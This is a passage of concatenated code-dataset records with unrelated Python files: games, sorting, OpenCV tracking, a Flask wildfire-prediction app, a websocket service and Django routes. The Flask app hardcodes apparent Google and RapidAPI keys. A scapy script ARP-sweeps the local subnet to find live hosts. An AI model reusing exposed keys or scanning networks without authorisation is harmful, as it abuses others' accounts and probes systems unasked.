auth","sub_path":"moviebackend/movie/tokenauth.py","file_name":"tokenauth.py","file_ext":"py","file_size_in_byte":1230,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"95230053","text":"# Filename: q2_display_pattern.py\n# Name: Ambrose Tan\n# Date created: 20130215\n# Date modified: 20130216\n# Description: Displaying patterns\n\ndef display_pattern(x, i):\n if (x >= 10):\n b = 2*x + (x-9) - 1\n else:\n b = 2*x - 1\n for a in range(1, x+1):\n i.insert(0, a)\n print(\"{0:>{1}}\".format(str(repr(i).replace(\",\",\"\"))[1:-1], b))\n\nprint(\"Disclaimer: This only works until 82 for 1920x1080 displays for font size 10\")\nx = int(input(\"Input the pattern number: \"))\ni = []\ndisplay_pattern(x, i)\n","sub_path":"practical103/q2_display_pattern.py","file_name":"q2_display_pattern.py","file_ext":"py","file_size_in_byte":528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"344519807","text":"#-*-coding: utf-8 -*\n\nfrom random import randrange\nfrom math import ceil\n\n\n\n\nargent_joueur = 300\nprint(\"Vous disposez de\", argent_joueur, \" euros\")\n\nwhile argent_joueur > 0:\n\tsomme_mise = input(\"choisissez la somme que vous souhaitez miser : \\n\")\n\tsomme_mise = int(somme_mise)\n\twhile somme_mise > argent_joueur:\n\t\tprint(\"tu n'as pas assez d'argent\")\n\t\tsomme_mise = input(\"choisissez la somme que vous souhaitez miser : \\n\")\n\t\tsomme_mise = int(somme_mise)\n\n\tchiffre_choisi = input(\"choisissez le chiffre sur lequel vous souhaitez miser (entre 0 et 49 !) : \\n\")\n\tchiffre_choisi = int(chiffre_choisi)\n\t\n\twhile chiffre_choisi > 49:\n\t\tprint(\"choisis un chiffre entre 0 et 49 !\")\n\t\tchiffre_choisi =input(\"choisissez le chiffre sur lequel vous souhaitez miser :\\n\")\n\t\tchiffre_choisi = int(chiffre_choisi)\n\t\n\trandom_nbr = randrange(50)\n\tprint(\"La roulette est tombée sur : \", random_nbr)\n\n\tif chiffre_choisi % 2 == 0 and random_nbr % 2 == 0:\n\t\tgain = 50 * somme_mise / 100\n\telif chiffre_choisi % 2 != 0 and random_nbr % 2 != 0:\n\t\tgain = 50 * somme_mise / 100\n\telif chiffre_choisi == random_nbr:\n\t\tgain = 3 * somme_mise\n\telse: \n\t\tgain = 0\n\tprint(\"votre gain est de : \", gain)\n\targent_joueur = argent_joueur - somme_mise + ceil(gain)\n\tprint(\"vous disposez désormais de : \", argent_joueur, \" euros !\")\n\nprint(\"c'est fini ! Vous avez plus un rond ! Du vent !\")\n\n\n\n\n\n\n\n\"\"\"\nroulettre : nombre aléatoire entre 0 et 50 avec randrange\n\t\t\tsi multiple de deux = noir, sinon rouge\n\n\nresultat = si les 2 numeros sont les mêmes : gain = 3*Somme misée\n\t\t\tsi les 2 numeros sont pairs ou les 2 numeros sont impairs : gain = 50*Somme misée / 100\n\t\t\tsinon : gain = 0\n\nnouvelle valeur de l'argent du joueur(arrondie par la fonction ceil) = argent de base - somme misée + résultat\n\nTant que argent du joueur > 0, relancer la mise et la roulette\n\"\"\"\n\n\n\n\n\n","sub_path":"Zcasino.py","file_name":"Zcasino.py","file_ext":"py","file_size_in_byte":1834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"143016281","text":"from flask import Flask, render_template, request, redirect, url_for, jsonify, flash, session\r\nimport datetime\r\nfrom datetime import timedelta\r\nimport pytz\r\nimport gmplot\r\nimport numpy\r\nimport pandas\r\nimport requests\r\nimport pickle\r\nimport sklearn, sklearn.tree, sklearn.ensemble, sklearn.feature_extraction, sklearn.metrics\r\n\r\napp = Flask(__name__)\r\napp.secret_key = \"haha\"\r\napp.permanent_session_lifetime = timedelta(minutes = 5)\r\n\r\napikey = \"AIzaSyAw_BHttzAxFdQ4Lg5UT7oYTjJ5LFON2Z8\"\r\n\r\n#Parts of the ensemble model\r\nrf = pickle.load(open('random_forest.pk1', 'rb'))\r\nml_reg = pickle.load(open('multilinear_regression.pk1', 'rb'))\r\n\r\n#Subtitute for empty data obtained from API\r\n#in the order of: ign_date, latitude, longitude, minimum temperature,maximum temperature, average temperature, dew point, relative humidity, heat index, wind speed, wind gust, wind direction, wind chill, precipitation, visibility, cloud cover, sea level pressure\r\navg_for_na = [20026124.90970577, \r\n53.40442305249716, \r\n-122.14423555004001,\r\n40.58008083140884,\r\n63.09509237875295,\r\n52.084209006928425,\r\n37.187727006444,\r\n62.41874633860559,\r\n85.18183962264142,\r\n12.53463329452857,\r\n27.2919663351186,\r\n192.44023689197786,\r\n27.720631578947398,\r\n0.06612954545454518,\r\n76.20172189733584,\r\n30.337810514153652,\r\n1015.3026817640034]\r\n\r\n#Ensemble model\r\ndef ensemble_model(input_df):\r\n dvr = sklearn.feature_extraction.DictVectorizer()\r\n rf_input = dvr.fit_transform(input_df.T.to_dict().values())\r\n rf_pred = rf.predict(rf_input) \r\n ml_reg_pred = ml_reg.predict(input_df)\r\n return (rf_pred + ml_reg_pred) / 2.0\r\n\r\n# Get tomorrows date of BC in model-friendly format\r\ndef get_tommorow_date_BC():\r\n my_date = datetime.datetime.now(pytz.timezone('US/Pacific')) + datetime.timedelta(days=1)\r\n proper_month = str(my_date.month)\r\n proper_day = str(my_date.day)\r\n if(my_date.month < 10):\r\n proper_month = '0' + str(my_date.month)\r\n if(my_date.day < 10):\r\n proper_day = '0' + str(my_date.day)\r\n return int(str(my_date.year) + proper_month + proper_day)\r\n\r\n\r\ndef split(word):\r\n return [char for char in word]\r\n\r\n#Use visual crossing weather forecast api to get climate data from user inputs\r\ndef get_future_climate_data(latitude, longitude):\r\n url = \"https://visual-crossing-weather.p.rapidapi.com/forecast\"\r\n coords = f'{latitude}, {longitude}'\r\n querystring = {\"location\":coords,\"aggregateHours\":\"24\",\"shortColumnNames\":\"0\",\"unitGroup\":\"us\",\"contentType\":\"csv\"}\r\n\r\n headers = {\r\n 'x-rapidapi-key': \"5416e60fd3msh25313be4cf91e39p1db2f2jsn7acc7269aacf\",\r\n 'x-rapidapi-host': \"visual-crossing-weather.p.rapidapi.com\"\r\n }\r\n\r\n response = requests.request(\"GET\", url, headers=headers, params=querystring)\r\n response_list = response.text.split(\",\")\r\n\r\n return response_list\r\n\r\n#Get model-friendly input df with all required data from user inputs (and with the help of visual crossing weather api)\r\ndef get_input_df(ign_date, latitude, longitude):\r\n def to_nan(entry):\r\n if (entry == '' or entry == 'N/A'): return numpy.nan\r\n else: return entry\r\n\r\n response_list = get_future_climate_data(latitude, longitude)\r\n if (len(response_list) < 22):\r\n response_list = ['N/A'] * 52\r\n input_data = {'IGN_DATE': ign_date, 'LATITUDE': latitude, 'LONGITUDE': longitude\r\n , 'minimum temperature': response_list[31], 'maximum temperature': response_list[32]\r\n , 'average temperature': response_list[33], 'dew point': avg_for_na[6], 'relative humidity': response_list[42]\r\n , 'heat index': response_list[36], 'wind speed': response_list[34], 'wind gust': response_list[43]\r\n , 'wind direction': response_list[30], 'wind chill': response_list[44], 'precipitation': response_list[38]\r\n , 'visibility': avg_for_na[14], 'cloud cover': response_list[35], 'sea level pressure': response_list[39]}\r\n\r\n input_data_frame = pandas.DataFrame(data = input_data, index=[0])\r\n print(input_data_frame)\r\n count = 0\r\n\r\n for column in input_data_frame:\r\n input_data_frame[column] = input_data_frame[column].apply(to_nan) \r\n input_data_frame[column].fillna(avg_for_na[count], inplace=True)\r\n count = count + 1\r\n\r\n return input_data_frame\r\n\r\n\r\n@app.route('/', methods = ['POST', 'GET'])\r\n\r\ndef home_page():\r\n if(request.method == 'POST'):\r\n longitude_cord = request.form['longitude_textbar']\r\n latitude_cord = request.form['latitude_textbar']\r\n if(-130.0 <= float(longitude_cord) and float(longitude_cord) <= -115.0 and float(latitude_cord) >= 48.0 and float(latitude_cord) <= 60.0):\r\n return redirect(url_for(\"map_page\", longitude = longitude_cord, latitude = latitude_cord))\r\n else:\r\n flash(\"Error: Coordinates do not point to a location in/near to BC, try again\", \"info\")\r\n return redirect(url_for('home_page'))\r\n else:\r\n return render_template('webpage.html')\r\n \r\n\r\n@app.route('/result')\r\n\r\ndef map_page():\r\n tommorow_date_BC = get_tommorow_date_BC()\r\n longitude = float(request.args.get('longitude', None))\r\n latitude = float(request.args.get('latitude', None))\r\n longitudes_within_range = [longitude, longitude+0.1, longitude-0.1]\r\n latitudes_within_range = [latitude, latitude+0.1, latitude-0.1]\r\n threshold_fire = numpy.log(3)\r\n lower_than_threshold = []\r\n higher_than_threshold = []\r\n size_of_fire = []\r\n\r\n for longitude_in_list in longitudes_within_range:\r\n for latitude_in_list in latitudes_within_range:\r\n input_for_model = get_input_df(tommorow_date_BC, latitude_in_list, longitude_in_list)\r\n prediction = ensemble_model(input_for_model)\r\n print(prediction)\r\n if(prediction > threshold_fire):\r\n higher_than_threshold.append((latitude_in_list, longitude_in_list))\r\n size_of_fire.append(prediction)\r\n else :\r\n lower_than_threshold.append((latitude_in_list, longitude_in_list))\r\n\r\n gmap = gmplot.GoogleMapPlotter(latitude, longitude, 10, apikey=apikey)\r\n\r\n if(len(lower_than_threshold) > 0):\r\n no_fire_lats, no_fire_lngs = zip(*lower_than_threshold)\r\n gmap.scatter(no_fire_lats, no_fire_lngs, color='#808080', size=1000, marker=False)\r\n \r\n if(len(higher_than_threshold) > 0):\r\n for i in range(len(higher_than_threshold)):\r\n yes_fire_lats, yes_fire_lngs = zip(*[higher_than_threshold[i]])\r\n gmap.scatter(yes_fire_lats, yes_fire_lngs, color='#FF0000', size= 1000, marker=False)\r\n gmap.marker(higher_than_threshold[i][0], higher_than_threshold[i][1],title=\"Approx-size: \" + str(numpy.exp(size_of_fire[i]) - 1) + \" Hectares\")\r\n \r\n area = zip(*[(latitude-0.1, longitude-0.1), (latitude+0.1, longitude-0.1), (latitude+0.1, longitude+0.1), (latitude-0.1, longitude+0.1), \r\n (latitude-0.1, longitude-0.1), (latitude, longitude-0.1), (latitude, longitude+0.1), (latitude+0.1, longitude+0.1), (latitude+0.1, longitude), (latitude-0.1, longitude)])\r\n gmap.plot(*area, color='cornflowerblue', edge_width=1)\r\n \r\n gmap.draw('templates/map.html')\r\n return render_template('map.html')\r\n \r\n \r\n\r\nif __name__ == \"__main__\":\r\n app.run(debug=True)","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":7098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"398624251","text":"from sys import argv\n\n\ndef reverse(s):\n \"\"\"\n Reverse a string\n\n Params:\n s: str - The string you want to reverse\n\n Returns:\n str: The reversed string\n \"\"\"\n str = \"\"\n for i in s:\n str = i + str\n return str\n\n\ndef reverse_word(s):\n \"\"\"\n Reverse a word\n\n Params:\n s: str - The word to reverse\n\n Returns:\n str: The reversed string\n \"\"\"\n return s[::-1]\n\n\ndef inplace_reverse(s):\n \"\"\"\n Reverse each word in a string without changing the order\n\n Params:\n s: str - The string you want to reverse\n\n Returns:\n str: The reversed string\n \"\"\"\n arr = s.split(' ')\n temp = []\n for s in arr:\n temp.append(s[::-1])\n return ' '.join(temp)\n\n\nif __name__ == '__main__':\n args = ' '.join(argv[1:])\n print(reverse(args))\n","sub_path":"src/reverse.py","file_name":"reverse.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"333767750","text":"#read file into memory, splitting on carridge returns\nslist = open('students.txt','r')\ny = slist.read() # now a text file\nz = list(y.split('\\n')) #now a list\nx = []\n# with list of students and languages, isolate langages (right of colon)\nfor i in z:\n s = i[(i.find(':')+2):].split(' ')\n x.append(s) #improved list\n#now with list of strings, get single-language list and make it into set for uniqueness\nmyset = set(sum(x,[]))\n#drop empty\nmyset.discard('')\n\n","sub_path":"students/b_fogarty/Homework/session04/class_list.py","file_name":"class_list.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"492840577","text":"# Definition for singly-linked list.\n#class ListNode:\n #def __init__(self, x):\n #self.val = x\n #self.next = None\n \nclass Solution:\n def insertionSortList(self, head):\n if head is None or head.next is None:\n return head\n dummyNode = ListNode(0)\n dummyNode.next = head\n cur = head\n \n while cur and cur.next:\n if cur.next.val >= cur.val:\n cur = cur.next\n else:\n pre = dummyNode\n insertNode = cur.next\n dummyNext = insertNode.next\n while pre.next is not None and pre.next.val <= insertNode.val:\n pre = pre.next\n preNext = pre.next\n cur.next = dummyNext\n pre.next = insertNode\n insertNode.next = preNext\n \n return dummyNode.next\n \n","sub_path":"week4/#147 insertion sort list.py","file_name":"#147 insertion sort list.py","file_ext":"py","file_size_in_byte":906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"157195596","text":"#Test script for regular USB webcam.\n#Will not work with the Raspberry Pi camera\n#Using python2.7 bindings, should also work with Python3.\n\n#Installing OpenCV and running the script should open three windows\n#\n#The regular window with the target outlined and the centroid marked\n#The contours window\n#The threshold window\n\nimport sys\nsys.path.append('/usr/local/lib/python2.7/site-packages')\n\nimport numpy as np\nimport cv2\n\ncap = cv2.VideoCapture(0)\n\nwhile(True):\n # Capture frame-by-frame\n ret, frame = cap.read()\n\n # Our operations on the frame come here\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n\n #color range in bgr or rgb, I forget\n lower = np.array([76, 31, 4], dtype=\"uint8\")\n upper = np.array([210, 90, 70], dtype=\"uint8\")\n\n blur = cv2.blur(frame, (3,3)) #blured image to make the threshold neater\n thresh = cv2.inRange(blur, lower, upper) #the thresholded image\n cntrs = thresh.copy() #copy of the threshold frame to be changed to contours\n\n #Finds contours for the cntrs frame\n contours, hierarchy = cv2.findContours(cntrs, cv2.RETR_LIST, cv2.CHAIN_APPROX_SIMPLE)\n\n max_area = 0\n best_contour = 1\n #basically finds the thing taking up the most room in the threshold\n for contour in contours:\n area = cv2.contourArea(contour) ##finds biggest area inside a contour\n if area > max_area:\n max_area = area\n best_contour = contour\n rect = cv2.boundingRect(best_contour)\n x,y,w,h = rect\n cv2.rectangle(blur,(x,y),(x+w,y+h),(0,255,0),2)\n\n #draws rectangle\n #print(best_contour)\n '''\n rect = cv2.boundingRect(best_contour)\n x,y,w,h = rect\n cv2.rectangle(blur,(x,y),(x+w,y+h),(0,255,0),2)\n '''\n\n #draws circle at center\n M = cv2.moments(best_contour)\n cx, cy = int(M['m10']/M['m00']), int(M['m01']/M['m00'])\n cv2.circle(blur, (cx, cy), 10, (0, 0, 255), -1)\n\n #print(str(relative)) #prints location of centroid to the console\n #cv2.putText(blur, (0, 50), (x,y), cv2.FONT_HERSHEY_SIMPLEX, 2, 255)\n #draws text, displays current x coord relative to the center of the frame\n '''\n resHeight, resWidth = frame.shape[:2]\n resCenter = int(resWidth/2)\n relative = int(cx-resCenter)\n cv2.putText(blur, str(relative), (x,y), cv2.FONT_HERSHEY_SIMPLEX, 2, 255)\n '''\n #move towards center\n #if relative > 0:\n # #go left\n #else:\n # #go right\n\n\n #shows all the frames/windows\n cv2.imshow('frame', blur)\n cv2.imshow('threshold', thresh)\n cv2.imshow('contours', cntrs)\n\n key = cv2.waitKey(1) & 0xFF\n\n if key == ord(\"q\"):\n cv2.destroyAllWindows()\n break\n\n# When everything done, release the capture\ncap.release()\ncv2.destroyAllWindows()\n","sub_path":"Vision/cam.py","file_name":"cam.py","file_ext":"py","file_size_in_byte":2755,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"402073562","text":"import os\nimport asyncio\nimport tomodachi\nimport pathlib\nimport uuid\nfrom aiohttp.web_fileresponse import FileResponse\nfrom typing import Tuple, Callable, Union\nfrom aiohttp import web\nfrom tomodachi import http_error, http, http_static, websocket\n\n\n@tomodachi.service\nclass ExampleWebsocketService(tomodachi.Service):\n name = 'example_websocket_service'\n log_level = 'DEBUG'\n uuid = os.environ.get('SERVICE_UUID')\n\n # Some options can be specified to define credentials, used ports, hostnames, access log, etc.\n options = {\n 'http': {\n 'port': 4711,\n 'content_type': 'text/plain',\n 'charset': 'utf-8',\n 'access_log': True\n }\n }\n\n @http('GET', r'/(?:|index.html)')\n async def index(self, request: web.Request) -> web.Response:\n path = '{}/{}'.format(os.path.dirname(self.context.get('context', {}).get('_service_file_path')), 'public/index.html')\n response = FileResponse(path=path, # type: ignore\n chunk_size=256 * 1024) # type: web.Response\n return response\n\n @http_static('public/', r'/public')\n async def public(self) -> None:\n pass\n\n @websocket(r'/websocket/?')\n async def websocket_connection(self, websocket: web.WebSocketResponse) -> Tuple[Callable, Callable]:\n # Called when a websocket client is connected\n self.log('websocket client connected')\n\n async def _receive(data: Union[str, bytes]) -> None:\n # Called when the websocket receives data\n self.log('websocket data received: {}'.format(data))\n await websocket.send_str('response {}'.format(str(uuid.uuid4())))\n\n async def _close() -> None:\n # Called when the websocket is closed by the other end\n self.log('websocket closed')\n\n # Receiving function and closure function returned as tuple\n return _receive, _close\n\n @http_error(status_code=404)\n async def error_404(self, request: web.Request) -> str:\n return 'error 404'\n","sub_path":"examples/basic_examples/websockets/websocket_service.py","file_name":"websocket_service.py","file_ext":"py","file_size_in_byte":2051,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"151924497","text":"# Chapter 4: An Applications Building Blocks, Advanced Controls\r\n# Recipe 9: ScrolledPanel\r\n#\r\nimport wx\r\nimport wx.lib.scrolledpanel as scrolledpanel\r\n\r\n#---- Recipe Code ----#\r\n\r\nclass ImageListCtrl(scrolledpanel.ScrolledPanel):\r\n \"\"\"Simple control to display a list of images\"\"\"\r\n def __init__(self, parent, bitmaps=list(),\r\n style=wx.TAB_TRAVERSAL|wx.BORDER_SUNKEN):\r\n super(ImageListCtrl, self).__init__(parent,\r\n style=style)\r\n\r\n # Attributes\r\n self.images = list()\r\n self.sizer = wx.BoxSizer(wx.VERTICAL)\r\n\r\n # Setup\r\n for bmp in bitmaps:\r\n self.AppendBitmap(bmp)\r\n self.SetSizer(self.sizer)\r\n\r\n def AppendBitmap(self, bmp):\r\n \"\"\"Add another bitmap to the control\"\"\"\r\n self.images.append(bmp)\r\n sbmp = wx.StaticBitmap(self, bitmap=bmp)\r\n self.sizer.Add(sbmp, 0, wx.EXPAND|wx.TOP, 5)\r\n self.SetupScrolling()\r\n\r\n#---- End Recipe Code ----#\r\n\r\nclass MyApp(wx.App):\r\n def OnInit(self):\r\n self.frame = MyFrame(None, title=\"ScrolledPanel\", size=(300,200))\r\n self.SetTopWindow(self.frame)\r\n self.frame.Show()\r\n\r\n return True\r\n\r\nclass MyFrame(wx.Frame):\r\n def __init__(self, parent, *args, **kwargs):\r\n wx.Frame.__init__(self, parent, *args, **kwargs)\r\n\r\n # Attributes\r\n self.panel = MyPanel(self)\r\n\r\n # Layout\r\n sizer = wx.BoxSizer(wx.VERTICAL)\r\n sizer.Add(self.panel, 1, wx.EXPAND)\r\n self.SetSizer(sizer)\r\n \r\nclass MyPanel(wx.Panel):\r\n def __init__(self, parent):\r\n wx.Panel.__init__(self, parent)\r\n\r\n # Attributes\r\n self.il = ImageListCtrl(self)\r\n\r\n # Setup\r\n for art in (wx.ART_ERROR, wx.ART_WARNING, wx.ART_INFORMATION,\r\n wx.ART_COPY, wx.ART_PASTE, wx.ART_CUT, wx.ART_CDROM,\r\n wx.ART_HARDDISK, wx.ART_FOLDER, wx.ART_FLOPPY):\r\n bmp = wx.ArtProvider.GetBitmap(art)\r\n self.il.AppendBitmap(bmp)\r\n\r\n # Layout\r\n sizer = wx.BoxSizer(wx.VERTICAL)\r\n sizer.Add(wx.StaticText(self, label=\"Image List:\"), 0)\r\n sizer.Add(self.il, 1, wx.EXPAND)\r\n self.SetSizer(sizer)\r\n\r\nif __name__ == \"__main__\":\r\n app = MyApp(False)\r\n app.MainLoop()\r\n","sub_path":"wxPython Test/wxPython 2.8 Application Development Cookbook Source Code/1780_04_Code/09/spanel.py","file_name":"spanel.py","file_ext":"py","file_size_in_byte":2319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"133830509","text":"#Ich fange nochmal an mit Python ;)\n# import Module1\n# x=1\n# while x<=13:\n\t# print(\"x ist kleiner als 13\")\n\t# x=x+1\n\t# print(\"x set to\",x)\n# else:\n\t# print(\"x ist größer als 13\")\n# while x>13:\n\t# x=x+1\n\t# print(\"x set to\",x)\n\t# if x==20:\n\t\t# break\n# print(\"Hello World\")\nif __name__ == \"__main__\":\n\ty=[\"Python\",\"Java\",\"SQL\"]\n\tfor Sprache in y:\n\t\tprint(Sprache)\n\t\tif Sprache == \"Java\":\n\t\t\tbreak\n\tprint(\"Fertig\")","sub_path":"Neuanfang.py","file_name":"Neuanfang.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"509967504","text":"\n\nimport io\nimport logging\nimport os\nimport subprocess\n\nimport pandas as pd\n\nimport sdi_utils.gensolution as gs\n\n\ntry:\n api\nexcept NameError:\n class api:\n class Message:\n def __init__(self, body=None, attributes=\"\"):\n self.body = body\n self.attributes = attributes\n\n def send(port, msg):\n if isinstance(msg, api.Message):\n print('{}: {}'.format(port, msg.body))\n else:\n print('{}: {}'.format(port, msg))\n\n class config:\n ## Meta data\n config_params = dict()\n tags = {}\n version = \"0.1.0\"\n operator_name = 'checkdata'\n operator_description = \"Check Data\"\n operator_description_long = \"Check if data is on input port.\"\n add_readme = dict()\n\n transform = True\n config_params['transform'] = {'title': 'Transform data', \\\n 'description':'Transform data defined in if clause of script.',\\\n 'type': 'boolean'}\n\n logging.basicConfig(level=logging.DEBUG, format='%(asctime)s - %(levelname)s - %(message)s')\n logger = logging.getLogger(name=config.operator_name)\n\n\nlog_stream = io.StringIO()\nsh = logging.StreamHandler(stream=log_stream)\nsh.setFormatter(logging.Formatter('%(asctime)s , %(name)s , %(message)s', datefmt='%H,%M,%S'))\napi.logger.addHandler(sh)\n\n\ndef on_input(msg):\n att = dict(msg.attributes)\n\n ### IF SELECT provided data\n if not msg.body == None:\n\n # Remove columns 'DIREPL_PID', 'DIREPL_STATUS' and create JSON\n header = [c[\"name\"] for c in msg.attributes['table']['columns']]\n df = pd.DataFrame(msg.body, columns=header).drop(columns=['DIREPL_PID', 'DIREPL_STATUS'])\n\n num_records = df.shape[0]\n msg.body = df.to_json(orient='records', date_format='%Y%m%d %H:%M:%S')\n\n # Send to data-outport\n api.send(\"output\", api.Message(attributes=att, body=msg.body))\n\n # Send to log-outport\n api.logger.info(\"Data send to file. Records: {}, Data: {}\".format(num_records, len(msg.body)))\n api.send('log', log_stream.getvalue())\n log_stream.seek(0)\n log_stream.truncate()\n\n ### No data from SELECT\n else:\n msg.body = 'NODATA'\n\n # Send to Nodata-port\n api.send(\"nodata\", msg)\n\n # Send to log-outport\n api.logger.info(\"No Data send!\")\n api.send('log', log_stream.getvalue())\n log_stream.seek(0)\n log_stream.truncate()\n\n\ninports = [{'name': 'input', 'type': 'message.table', \"description\": \"data\"}]\noutports = [{'name': 'log', 'type': 'string', \"description\": \"Logging data\"}, \\\n {'name': 'output', 'type': 'message.file', \"description\": \"data\"},\n {'name': 'nodata', 'type': 'message.file', \"description\": \"no data\"}]\n\n#api.set_port_callback(\"input\", on_input)\n\n\ndef test_operator():\n\n ## table input\n headers = [\"header1\",\"header2\",\"header3\",\"DIREPL_STATUS\",\"DIREPL_PID\" ]\n attributes = {\"table\":{\"columns\":[{\"class\":\"string\",\"name\":headers[0],\"nullable\":True,\"size\":80,\"type\":{\"hana\":\"NVARCHAR\"}},\n {\"class\":\"string\",\"name\":headers[1],\"nullable\":True,\"size\":3,\"type\":{\"hana\":\"NVARCHAR\"}},\n {\"class\":\"string\",\"name\":headers[2],\"nullable\":True,\"size\":10,\"type\":{\"hana\":\"NVARCHAR\"}},\n {\"class\":\"string\",\"name\":headers[3],\"nullable\":True,\"size\":1,\"type\":{\"hana\":\"NVARCHAR\"}},\n {\"class\":\"integer\",\"name\":headers[4],\"nullable\":True,\"type\":{\"hana\":\"BIGINT\"}}],\n \"name\":\"test.table\",\"version\":1},\n 'base_table':'TABLE','schema_name':'schema','table_name':'table','message.lastBatch':False}\n\n table = [[(j * 3 + i) for i in range(0, len(headers))] for j in range(0, 5)]\n msg = api.Message(attributes=attributes, body=table)\n on_input(msg)\n\n\n\nif __name__ == '__main__':\n test_operator()\n if True :\n basename = os.path.basename(__file__[:-3])\n package_name = os.path.basename(os.path.dirname(os.path.dirname(__file__)))\n project_dir = os.path.dirname(os.path.dirname(os.path.dirname(os.path.dirname(__file__))))\n solution_name = '{}_{}.zip'.format(basename, api.config.version)\n package_name_ver = '{}_{}'.format(package_name, api.config.version)\n\n solution_dir = os.path.join(project_dir, 'solution/operators', package_name_ver)\n solution_file = os.path.join(project_dir, 'solution/operators', solution_name)\n\n # rm solution directory\n subprocess.run([\"rm\", '-r', solution_dir])\n\n # create solution directory with generated operator files\n gs.gensolution(os.path.realpath(__file__), api.config, inports, outports)\n\n # Bundle solution directory with generated operator files\n subprocess.run([\"vctl\", \"solution\", \"bundle\", solution_dir, \"-t\", solution_file])","sub_path":"src/di_replication/checkdata/checkdata.py","file_name":"checkdata.py","file_ext":"py","file_size_in_byte":5050,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"562528724","text":"import subprocess\nfrom multiprocessing import Pool\nimport threading\nfrom scapy.all import *\n\n\na = subprocess.check_output(\"ifconfig | grep eth0 -A1 | grep inet | awk '{print $2}'| cut -d '.' -f 1,2,3 \",shell=True)\n\n\ncount = 0\ndef test(ip):\n answer = sr1(ARP(pdst=ip),timeout=0.1,verbose=0)\n if answer == None:\n #print(ip + \" is not exist\")\n pass\n else:\n print(ip + \" is exist\")\n count = count + 1\n\n\n\npo = Pool(20)\n\nb = a.decode(\"utf-8\")\nc = b.strip()\nfor i in range(0,255):\n ip = c +\".\"+str(i)\n po.apply_async(test,(ip,))\n\n\nprint(\"=======start=========\")\npo.close()\npo.join()\nprint(\"=========end=========\")\nprint(count)\n","sub_path":"data_gather/postive_data_gather/second_layer/scrapy/arp.py","file_name":"arp.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"81415444","text":"import numpy as np\n\n\n# 有功功率\ndef add_power(df, window=7 * 24 * 60 * 3):\n coal_feed_name = ['A给煤机瞬时给煤量反馈', 'B给煤机瞬时给煤量反馈', 'C给煤机瞬时给煤量反馈', 'D给煤机瞬时给煤量反馈', 'E给煤机瞬时给煤量反馈', 'F给煤机瞬时给煤量反馈']\n coal_current_name = ['A磨煤机电流', 'B磨煤机电流', 'C磨煤机电流', 'D磨煤机电流', 'E磨煤机电流', 'F磨煤机电流']\n for i in range(len(coal_feed_name)):\n coal_feed = df[coal_feed_name[i]].values\n coal_current = df[coal_current_name[i]].values\n power = coal_feed / coal_current\n name = '单耗' + chr(65 + i)\n index = np.where(coal_current > 15)[0]\n df[name] = power\n mean = df[name][index].mean()\n index = np.where(coal_current < 15)[0]\n df[name][index] = mean\n df.ffill(inplace=True)\n df.bfill(inplace=True)\n tmp = df[name].values\n # 使用numpy卷积函数来实现滑窗平均值\n df[name] = np.convolve(tmp, np.ones((window,)) / window, mode='same')\n\n\n# 额外给煤量\ndef add_extra_coal(df):\n load_name = '机组实际负荷'\n coal_feed_name = ['A给煤机瞬时给煤量反馈', 'B给煤机瞬时给煤量反馈', 'C给煤机瞬时给煤量反馈', 'D给煤机瞬时给煤量反馈', 'E给煤机瞬时给煤量反馈', 'F给煤机瞬时给煤量反馈']\n for i in range(len(coal_feed_name)):\n if i == 0:\n sum = df[coal_feed_name[i]].values\n else:\n sum = sum+df[coal_feed_name[i]].values\n x = df[load_name]\n y = sum\n poly = np.polyfit(x, y, deg=1)\n\n cal_coal = poly[0] * x + poly[1]\n extra_coal = y - cal_coal\n df['额外给煤量'] = extra_coal","sub_path":"calculate.py","file_name":"calculate.py","file_ext":"py","file_size_in_byte":1756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"303246975","text":"from django.conf import settings\nfrom django.conf.urls import url\n\nfrom .views import PostLikeRedirect, PostLikeAPIRedirect, PostListAPIView, PostDetailAPIView, PostUpdateAPIView, \\\n PostDeleteAPIView, PostCreateAPIView, CategoryListAPIView, PostsInCategoryAPIView, CategoryCreateAPIView, \\\n CommentListAPIView, CommentDetailAPIView, CommentCreateAPIView\nfrom . import views\n\nurlpatterns = [\n\n url(r'^$', views.post_list, name='post_list'),\n url(r'^page/(\\d+)/$', views.post_list, name='post_list'),\n url(r'^post/(?P[\\w-]+)/$', views.post_detail, name='post_detail'),\n\n\n url(r'^post/(?P[\\w-]+)/like/$', PostLikeRedirect.as_view(), name='like'),\n url(r'^api/post/(?P[\\w-]+)/like/$', PostLikeAPIRedirect.as_view(), name='like_api'),\n # {% url 'add_comment' slug=post.slug %}\n\n # category\n url(r'^new_category/$', views.category_new, name='new_category'),\n url(r'^category/$', views.category_all, name='category_all'),\n url(r'^category/(?P[\\w-]+)/$', views.category_list, name='category_list'),\n url(r'^category/(?P[\\w-]+)/page/(?P\\d+)/$', views.category_list, name='category_list'),\n # category\n\n url(r'^add/$', views.post_new, name='post_new'),\n url(r'^post/(?P[\\w-]+)/edit/$', views.post_edit, name='post_edit'),\n\n\n url(r'^api/posts/$', PostListAPIView.as_view(), 